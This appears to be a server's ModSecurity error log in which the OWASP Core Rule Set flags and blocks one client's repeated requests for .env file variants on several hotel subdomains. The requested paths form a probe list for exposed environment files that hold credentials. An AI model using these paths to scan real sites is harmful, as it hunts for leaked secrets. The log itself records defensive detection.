[Tue Oct 27 01:43:48.376984 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auA6FMkbbDK06qDUYmCowgAAAAU"]
[Tue Oct 27 01:43:48.377244 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auA6FMkbbDK06qDUYmCowgAAAAU"]
[Tue Oct 27 01:43:48.396056 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6FEtgBhmk9Q7hbpqXzQAAAAs"]
[Tue Oct 27 01:43:48.396212 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6FEtgBhmk9Q7hbpqXzQAAAAs"]
[Tue Oct 27 01:43:48.396484 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "auA6FEtgBhmk9Q7hbpqXzQAAAAs"]
[Tue Oct 27 01:43:48.429300 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /current/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "auA6FA67030o4-ZAUjLpyAAAAAg"]
[Tue Oct 27 01:43:48.429488 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "auA6FA67030o4-ZAUjLpyAAAAAg"]
[Tue Oct 27 01:43:48.429772 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/current/.env"] [unique_id "auA6FA67030o4-ZAUjLpyAAAAAg"]
[Tue Oct 27 01:43:48.447325 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6FEtgBhmk9Q7hbpqXzgAAAAs"]
[Tue Oct 27 01:43:48.447500 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6FEtgBhmk9Q7hbpqXzgAAAAs"]
[Tue Oct 27 01:43:48.447766 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "auA6FEtgBhmk9Q7hbpqXzgAAAAs"]
[Tue Oct 27 01:43:48.466125 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "auA6FMqawth2HP9RxtL-4wAAAAY"]
[Tue Oct 27 01:43:48.564222 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "auA6FMqawth2HP9RxtL-4wAAAAY"]
[Tue Oct 27 01:43:48.564578 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "auA6FMqawth2HP9RxtL-4wAAAAY"]
[Tue Oct 27 01:43:48.496228 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /release/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "auA6FA67030o4-ZAUjLpyQAAAAg"]
[Tue Oct 27 01:43:48.565214 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "auA6FA67030o4-ZAUjLpyQAAAAg"]
[Tue Oct 27 01:43:48.565460 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/release/.env"] [unique_id "auA6FA67030o4-ZAUjLpyQAAAAg"]
[Tue Oct 27 01:43:48.504082 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6FEtgBhmk9Q7hbpqXzwAAAAs"]
[Tue Oct 27 01:43:48.565985 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6FEtgBhmk9Q7hbpqXzwAAAAs"]
[Tue Oct 27 01:43:48.566252 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "auA6FEtgBhmk9Q7hbpqXzwAAAAs"]
[Tue Oct 27 01:43:48.607249 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auA6FMkbbDK06qDUYmCowwAAAAU"]
[Tue Oct 27 01:43:48.607453 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auA6FMkbbDK06qDUYmCowwAAAAU"]
[Tue Oct 27 01:43:48.607742 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auA6FMkbbDK06qDUYmCowwAAAAU"]
[Tue Oct 27 01:43:48.627250 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auA6FMkbbDK06qDUYmCoxAAAAAU"]
[Tue Oct 27 01:43:48.627415 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auA6FMkbbDK06qDUYmCoxAAAAAU"]
[Tue Oct 27 01:43:48.627629 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "auA6FMkbbDK06qDUYmCoxAAAAAU"]
[Tue Oct 27 01:43:48.662961 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "auA6FMqawth2HP9RxtL-5AAAAAY"]
[Tue Oct 27 01:43:48.663171 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "auA6FMqawth2HP9RxtL-5AAAAAY"]
[Tue Oct 27 01:43:48.663448 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "auA6FMqawth2HP9RxtL-5AAAAAY"]
[Tue Oct 27 01:43:48.688347 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /releases/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "auA6FA67030o4-ZAUjLpygAAAAg"]
[Tue Oct 27 01:43:48.688561 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "auA6FA67030o4-ZAUjLpygAAAAg"]
[Tue Oct 27 01:43:48.688811 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/releases/.env"] [unique_id "auA6FA67030o4-ZAUjLpygAAAAg"]
[Tue Oct 27 01:43:48.701867 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.yaml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auA6FMkbbDK06qDUYmCoxQAAAAU"]
[Tue Oct 27 01:43:48.702043 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auA6FMkbbDK06qDUYmCoxQAAAAU"]
[Tue Oct 27 01:43:48.702269 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.yaml"] [unique_id "auA6FMkbbDK06qDUYmCoxQAAAAU"]
[Tue Oct 27 01:43:48.731431 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6FEtgBhmk9Q7hbpqX0AAAAAs"]
[Tue Oct 27 01:43:48.731587 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6FEtgBhmk9Q7hbpqX0AAAAAs"]
[Tue Oct 27 01:43:48.731826 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "auA6FEtgBhmk9Q7hbpqX0AAAAAs"]
[Tue Oct 27 01:43:48.735005 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public_html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/public_html/.env"] [unique_id "auA6FMqawth2HP9RxtL-5QAAAAY"]
